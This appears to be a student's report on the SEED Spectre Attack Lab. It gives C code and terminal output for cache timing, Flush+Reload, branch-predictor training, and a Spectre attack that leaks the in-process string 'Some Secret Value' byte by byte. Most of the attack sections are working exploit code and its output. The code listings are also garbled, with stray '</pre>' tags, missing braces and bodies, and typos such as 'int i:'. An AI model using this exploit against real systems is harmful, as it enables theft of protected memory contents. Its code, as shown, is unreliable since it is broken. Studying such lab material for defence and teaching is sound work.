Spectre Attack Lab

```
Task1: Reading from Cache versus from Memory
#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
uint8_t array[10*4096];
int main(int argc, const char **argv) {
  int junk=0;
  register uint64_t time1, time2;
  volatile uint8_t *addr;
  int i;
  // Initialize the array
  for(i=0; i<10; i++) array[i*4096]=1;</pre>
  // FLUSH the array from the CPU cache
  for(i=0; i<10; i++) _mm_clflush(&array[i*4096]);</pre>
  // Access some of the array items
  array[3*4096] = 100;
  array[7*4096] = 200;
  for(i=0; i<10; i++) {</pre>
    addr = &array[i*4096];
    time1 = __rdtscp(&junk); junk = *addr;
time2 = __rdtscp(&junk) - time1;
printf("Access time for array[%d*4096]: %d CPU cycles\n",i, (int)time2);
  return 0;
```

```
[10/10/19]seed@VM:~$ gcc -march=native CacheTime.c
[10/10/19]seed@VM:~$ a.out
Access time for array[0*4096]: 82 CPU cycles
Access time for array[1*4096]: 158 CPU cycles
Access time for array[2*4096]: 164 CPU cycles
Access time for array[3*4096]: 38 CPU cycles
Access time for array[4*4096]: 160 CPU cycles
Access time for array[5*4096]: 160 CPU cycles
Access time for array[6*4096]: 162 CPU cycles
Access time for array[7*4096]: 26 CPU cycles
Access time for array[8*4096]: 160 CPU cycles
Access time for array[9*4096]: 160 CPU cycles
[10/10/19]seed@VM:~$ a.out
Access time for array[0*4096]: 78 CPU cycles
Access time for array[1*4096]: 154 CPU cycles
Access time for array[2*4096]: 156 CPU cycles
Access time for array[3*4096]: 26 CPU cycles
Access time for array[4*4096]: 160 CPU cycles
Access time for array[5*4096]: 156 CPU cycles
Access time for array[6*4096]: 152 CPU cycles
Access time for array[7*4096]: 22 CPU cycles
Access time for array[8*4096]: 162 CPU cycles
Access time for array[9*4096]: 156 CPU cycles
```

Array[3*4096] and array[7*4096] faster than that of other elements.

```
Task2: Using Cache as a Side Channel
Code:
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
uint8_t array[256*4096];
int temp;
char secret = 94;
/* cache hit time threshold assumed*/
#define CACHE HIT THRESHOLD (80)
#define DELTA 1024
void victim()
  temp = array[secret*4096 + DELTA];
void flushSideChannel()
  int i:
  // Write to array to bring it to RAM to prevent Copy-on-write
  for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;
  //flush the values of the array from cache
  for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]);</pre>
void reloadSideChannel()
  int junk=0;
  register uint64_t time1, time2;
  volatile uint8_t *addr;
  int i;
  for(i = 0; i < 256; i++){
   addr = &array[i*4096 + DELTA];
   time1 = rdtscp(&junk);
   junk = *addr;
   time2 = __rdtscp(&junk) - time1;
   if (time2 <= CACHE_HIT_THRESHOLD){</pre>
        printf("array[%d*4096 + %d] is in cache.\n", i, DELTA);
        printf("The Secret = %d.\n",i);
   }
  }
}
int main(int argc, const char **argv)
  flushSideChannel();
  victim();
```

reloadSideChannel();

return (0);

```
[10/10/19]seed@VM:~$ gcc -march=native FlushReload.c
[10/10/19]seed@VM:~$ a.out
array[94*4096 + 1024] is in cache.
The Secret = 94.
[10/10/19]seed@VM:~$ a.out
array[94*4096 + 1024] is in cache.
The Secret = 94.
[10/10/19]seed@VM:~$ a.out
array[94*4096 + 1024] is in cache.
The Secret = 94.
[10/10/19]seed@VM:~$
[10/10/19]seed@VM:~$ a.out
array[94*4096 + 1024] is in cache.
The Secret = 94.
[10/10/19]seed@VM:~$ a.out
array[94*4096 + 1024] is in cache.
The Secret = 94.
[10/10/19]seed@VM:~$ a.out
array[94*4096 + 1024] is in cache.
The Secret = 94.
[10/10/19]seed@VM:~$ a.out
array[94*4096 + 1024] is in cache.
The Secret = 94.
[10/10/19]seed@VM:~$
```

I get secret is 94 at 20 times.

Task3: Out-of-Order Execution and Branch Prediction Code:

```
void flushSideChannel()
  int i:
  // Write to array to bring it to RAM to prevent Copy-on-write
  for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;</pre>
  //flush the values of the array from cache
  for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]);</pre>
void reloadSideChannel()
  int junk=0;
  register uint64_t time1, time2;
  volatile uint8_t *addr;
  int i;
  for(i = 0; i < 256; i++){</pre>
    addr = &array[i*4096 + DELTA];
    time1 = rdtscp(&junk);
    junk = *addr;
    time2 = __rdtscp(&junk) - time1;
    if (time2 <= CACHE_HIT_THRESHOLD){</pre>
        printf("array[%d*4096 + %d] is in cache.\n", i, DELTA);
        printf("The Secret = %d.\n",i);
    }
  }
void victim(size_t x)
  if (x < size) {
temp = array[x * 4096 + DELTA];</pre>
int main() {
 int i;
  // FLUSH the probing array
  flushSideChannel();
  // Train the CPU to take the true branch inside victim()
  for (i = 0; i < 10; i++) {
   _mm_clflush(&size);
   victim(i);
  // Exploit the out-of-order execution
  _mm_clflush(&size);
  for (i = 0; i < 256; i++)
   _mm_clflush(&array[i*4096 + DELTA]);
  victim(97);
  // RELOAD the probing array
  reloadSideChannel();
```

```
[10/10/19]seed@VM:~$ gcc -march=native SpectreExperiment.c
[10/10/19]seed@VM:~$ a.out
array[97*4096 + 1024] is in cache.
The Secret = 97.
[10/10/19]seed@VM:~$ a.out
array[97*4096 + 1024] is in cache.
The Secret = 97.
[10/10/19]seed@VM:~$ a.out
array[97*4096 + 1024] is in cache.
The Secret = 97.
[10/10/19]seed@VM:~$ ■
```

From the result above, we could see "temp = array[x*4096 + DELTA]" has been executed.

1) Comment out the line marked with ☆

```
[10/10/19]seed@VM:~$ gcc -march=native SpectreExperiment.c
[10/10/19]seed@VM:~$ a.out
[10/10/19]seed@VM:~$ a.out
```

The command doesn't execute. Because we haven't flushed the variable size from memory, so the check interupt the out of order execution right now.

2) Replace Line 4 with victim(i+20)

```
[10/10/19]seed@VM:~$ gcc -march=native SpectreExperiment.c
[10/10/19]seed@VM:~$ a.out
[10/10/19]seed@VM:~$ a.out
[10/10/19]seed@VM:~$ ■
```

From the result we could see that command has not been executed, because the branch prediction, we trained it to go to false branch.

Task4: The Spectre Attack(stealing data from same process)

```
Code:
```

```
#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
unsigned int buffer_size = 10;
uint8_t buffer[10] = {0,1,2,3,4,5,6,7,8,9};
uint8_t temp = 0;
char *secret = "Some Secret Value";
uint8_t array[256*4096];
#define CACHE_HIT_THRESHOLD (80)
#define DELTA 1024
// Sandbox Function
uint8_t restrictedAccess(size_t x)
  if (x < buffer_size) {</pre>
     return buffer[x];
  } else {
     return 0;
void flushSideChannel()
  int i;
  // Write to array to bring it to RAM to prevent Copy-on-write
for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;</pre>
  //flush the values of the array from cache
 for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]);</pre>
```

```
void reloadSideChannel()
  int junk=0;
  register uint64_t time1, time2;
volatile uint8_t *addr;
  int i;
  for(i = 0; i < 256; i++){
  addr = &array[i*4096 + DELTA];</pre>
     time1 = __rdtscp(&junk);
     junk = *addr;
     time2 = __rdtscp(&junk) - time1;
     if (time2 <= CACHE_HIT_THRESHOLD){</pre>
          printf("array[%d*4096 + %d] is in cache.\n", i, DELTA);
printf("The Secret = %d.\n",i);
  }
}
void spectreAttack(size_t larger_x)
  int i;
  uint8_t s;
  volatile int z;
  // Train the CPU to take the true branch inside restrictedAccess().
  for (i = 0; i < 10; i++)
   _mm_clflush(&buffer_size);
   restrictedAccess(i);
  // Flush buffer_size and array[] from the cache.
  __mm_clflush(&buffer_size);
for (i = 0; i < 256; i++) { _mm_clflush(&array[i*4096 + DELTA]); }
for (z = 0; z < 100; z++) { }
// Ask restrictedAccess() to return the secret in out-of-order execution.</pre>
  s = restrictedAccess(larger_x);
  array[s*4096 + DELTA] += 88;
int main() {
  flushSideChannel();
  size_t larger_x = (size_t)(secret - (char*)buffer);
spectreAttack(larger_x);
  reloadSideChannel();
  return (0);
```

```
[10/10/19]seed@VM:~$ gcc -march=native SpectreAttack.c
[10/10/19]seed@VM:~$ a.out
array[0*4096 + 1024] is in cache.
The Secret = 0.
array[83*4096 + 1024] is in cache.
The Secret = 83.
[10/10/19]seed@VM:~$ a.out
array[0*4096 + 1024] is in cache.
The Secret = 0.
array[83*4096 + 1024] is in cache.
The Secret = 83.
[10/10/19]seed@VM:~$ a.out
array[0*4096 + 1024] is in cache.
The Secret = 0.
array[83*4096 + 1024] is in cache.
The Secret = 83.
[10/10/19]seed@VM:~$ a.out
array[0*4096 + 1024] is in cache.
The Secret = 0.
array[83*4096 + 1024] is in cache.
The Secret = 83.
[10/10/19]seed@VM:~$ a.out
array[0*4096 + 1024] is in cache.
```

We can see two secret are printed out: one is zero, and the other is 83, which is ASCII value of S. The return value of the function restrictedAccess() is always zero if the argument is larger than the buffer size.

Task5: Improve the Attack Accuracy

Code:

```
#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
unsigned int buffer_size = 10;
uint8_t buffer[10] = {0,1,2,3,4,5,6,7,8,9};
uint8_t temp = 0;
char *secret = "Some Secret Value";
uint8_t array[256*4096];
#define CACHE_HIT_THRESHOLD (80)
#define DELTA 1024
// Sandbox Function
uint8_t restrictedAccess(size_t x)
   if (x < buffer_size) {
   return buffer[x];</pre>
   } else {
        return 0;
   }
void flushSideChannel()
   // Write to array to bring it to RAM to prevent Copy-on-write for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1; //flush the values of the array from cache for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]);
static int scores[256];
void reloadSideChannelImproved()
int i:
   volatile uint8_t *addr;
   register uint64_t time1, time2;
   int junk = 0;
for (i = 0; i < 256; i++) {
   addr = &array[i * 4096 + DELTA];</pre>
       addr = &array[1 * 4096 + DELTA];
time1 = __rdtscp(&junk);
junk = *addr;
time2 = __rdtscp(&junk) - time1;
if (time2 <= CACHE_HIT_THRESHOLD)
    scores[i]++; /* if cache hit, add 1 for this value */</pre>
```

```
void spectreAttack(size_t larger x)
{
  int i;
  uint8_t s;
  volatile int z;
  for (i = 0; i < 256; i++) { _mm_clflush(&array[i*4096 + DELTA]); }
// Train the CPU to take the true branch inside victim().</pre>
  for (i = 0; i < 10; i++) {
     _mm_clflush(&buffer_size);
    for (z = 0; z < 100; z++) {}
    restrictedAccess(i);
  // Flush buffer_size and array[] from the cache.
   mm clflush(&buffer size):
  for (i = 0; i < 256; i++) { _mm_clflush(&array[i*4096 + DELTA]); }</pre>
  // Ask victim() to return the secret in out-of-order execution.
  for (z = 0; z < 100; z++) \{ \}
  s = restrictedAccess(larger x);
  array[s*4096 + DELTA] += 88;
int main() {
  int i;
  size_t larger x = (size_t)(secret-(char*)buffer);
  flushSideChannel();
  for(i=0;i<256; i++) scores[i]=0;</pre>
  for (i = 0; i < 1000; i++) {
    spectreAttack(larger x);
    reloadSideChannelImproved();
  int max = 0;
  for (i = 0; i < 256; i++){}
   if(scores[max] < scores[i])</pre>
     max = i;
  printf("Reading secret value at %p = ", (void*)larger_x);
  printf("The secret value is %d\n", max);
printf("The number of hits is %d\n", scores[max]);
  return (0);
```

```
[10/10/19]seed@VM:~$ gcc -march=native SpectreAttackImproved.c
[10/10/19]seed@VM:~$ a.out
Reading secret value at 0xffffe80c = The secret value is 0
The number of hits is 1000
[10/10/19]seed@VM:~$ a.out
Reading secret value at 0xffffe80c = The secret value is 0
The number of hits is 1000
[10/10/19]seed@VM:~$ a.out
Reading secret value at 0xffffe80c = The secret value is 0
The number of hits is 1000
[10/10/19]seed@VM:~$
```

Explanantion:

The return value of the function restrictedAccess() is always zero if the argument is larger than the buffer size.

We could change Line 3 to initialize the value max with 1 instead of 0, basically excluding scores[0] from the comparision

```
[10/10/19]seed@VM:~$ gcc -march=native SpectreAttackImproved.c

[10/10/19]seed@VM:~$ a.out

Reading secret value at 0xffffe80c = The secret value is 83

The number of hits is 266

[10/10/19]seed@VM:~$ ■
```

Now we get the value S.

Task6: Steal the Secret String

We just need to increase the value of larger_x by one and repeat this attack. Code:

```
int main() {
  int i;
  uint8_t s;
  size_t larger_x = (size_t)(secret-(char*)buffer);
for (int it = 0; it < 17; it++) {
  flushSideChannel();
  for(i=0;i<256; i++) scores[i]=0;</pre>
  for (i = 0; i < 1000; i++) {
    spectreAttack(larger x+ it);
    reloadSideChannelImproved();
  int max = 1;
  for (i = 1; i < 256; i++){}
   if(scores[max] < scores[i])</pre>
     max = i;
  printf("Reading secret value at %p = ", (void*)larger
  printf("The secret value is %d\n", max);
  printf("The number of hits is %d\n", scores[max]);
  return (0);
```

[10/10/19]seed@VM:~\$ gcc -march=native SpectreAttackImproved.c [10/10/19]seed@VM:~\$ a.out Reading secret value at 0xffffe82c = The secret value is 83 The number of hits is 209 Reading secret value at 0xffffe82c = The secret value is 111 The number of hits is 172 Reading secret value at 0xffffe82c = The secret value is 109 The number of hits is 198 Reading secret value at 0xffffe82c = The secret value is 101 The number of hits is 261 Reading secret value at 0xffffe82c = The secret value is 32 The number of hits is 271 Reading secret value at 0xffffe82c = The secret value is 83 The number of hits is 155 Reading secret value at 0xffffe82c = The secret value is 101 The number of hits is 184 Reading secret value at 0xffffe82c = The secret value is 99 The number of hits is 124 Reading secret value at 0xffffe82c = The secret value is 114 The number of hits is 190 Reading secret value at 0xffffe82c = The secret value is 101 The number of hits is 252 Reading secret value at 0xffffe82c = The secret value is 116 The number of hits is 191 Reading secret value at 0xffffe82c = The secret value is 32 The number of hits is 117 Reading secret value at 0xffffe82c = The secret value is 86 The number of hits is 256 Reading secret value at 0xffffe82c = The secret value is 97 The number of hits is 310 Reading secret value at 0xffffe82c = The secret value is 108 The number of hits is 125 Reading secret value at 0xffffe82c = The secret value is 117 The number of hits is 151 Reading secret value at 0xffffe82c = The secret value is 101 The number of hits is 98

The value is "Some Secret Value"